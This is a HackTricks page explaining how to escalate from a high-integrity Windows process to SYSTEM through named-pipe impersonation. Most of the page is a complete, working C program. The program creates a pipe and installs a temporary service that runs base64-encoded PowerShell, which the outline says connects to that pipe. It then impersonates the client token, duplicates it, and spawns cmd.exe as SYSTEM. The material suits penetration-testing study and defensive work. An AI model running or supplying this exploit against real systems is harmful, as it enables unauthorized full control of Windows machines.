From High Integrity to SYSTEM with Name Pipes

Support HackTricks and get benefits!
Code flow:
1.Create a new Pipe
2.Create and start a service that will connect to the created pipe and write something. The service code will execute this encoded PS code: $pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();
3.The service receive the data from the client in the pipe, call ImpersonateNamedPipeClient and waits for the service to finish
4.Finally, uses the token obtained from the service to spawn a new cmd.exe
If you don't have enough privileges the exploit may get stucked and never return.
1
#include <windows.h>
2
#include <time.h>
3
​
4
#pragma comment (lib, "advapi32")
5
#pragma comment (lib, "kernel32")
6
​
7
#define PIPESRV "PiperSrv"
8
#define MESSAGE_SIZE 512
9
​
10
int ServiceGo(void) {
11
​
12
	SC_HANDLE scManager;
13
	SC_HANDLE scService;
14
​
15
	scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
16
​
17
	if (scManager == NULL) {
18
		return FALSE;
19
	}
20
​
21
	// create Piper service
22
	scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
23
		SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
24
		"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
25
		NULL, NULL, NULL, NULL, NULL);
26
​
27
	if (scService == NULL) {
28
		//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
29
		return FALSE;
30
	}
31
​
32
	// launch it
33
	StartService(scService, 0, NULL);
34
​
35
	// wait a bit and then cleanup
36
	Sleep(10000);
37
	DeleteService(scService);
38
​
39
	CloseServiceHandle(scService);
40
	CloseServiceHandle(scManager);
41
}
42
​
43
int main() {
44
​
45
	LPCSTR sPipeName = "\\\\.\\pipe\\piper";
46
	HANDLE hSrvPipe;
47
	HANDLE th;
48
	BOOL bPipeConn;
49
	char pPipeBuf[MESSAGE_SIZE];
50
	DWORD dBRead = 0;
51
​
52
	HANDLE hImpToken;
53
	HANDLE hNewToken;
54
	STARTUPINFOA si;
55
	PROCESS_INFORMATION pi;
56
​
57
	// open pipe
58
	hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
59
		PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
60
​
61
	// create and run service
62
	th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);
63
​
64
	// wait for the connection from the service
65
	bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
66
	if (bPipeConn) {
67
		ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);
68
​
69
		// impersonate the service (SYSTEM)
70
		if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
71
			return -1;
72
		}
73
​
74
		// wait for the service to cleanup
75
		WaitForSingleObject(th, INFINITE);
76
​
77
		// get a handle to impersonated token
78
		if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
79
			return -2;
80
		}
81
​
82
		// create new primary token for new process
83
		if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,
84
			TokenPrimary, &hNewToken)) {
85
			return -4;
86
		}
87
​
88
		//Sleep(20000);
89
		// spawn cmd.exe as full SYSTEM user
90
		ZeroMemory(&si, sizeof(si));
91
		si.cb = sizeof(si);
92
		ZeroMemory(&pi, sizeof(pi));
93
		if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL,
94
			NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
95
			return -5;
96
		}
97
​
98
		// revert back to original security context
99
		RevertToSelf();
100
​
101
	}
102
​
103
	return 0;
104
}
Copied!
Support HackTricks and get benefits!

Dll Hijacking

Integrity Levels

Last modified 19d ago

Copy link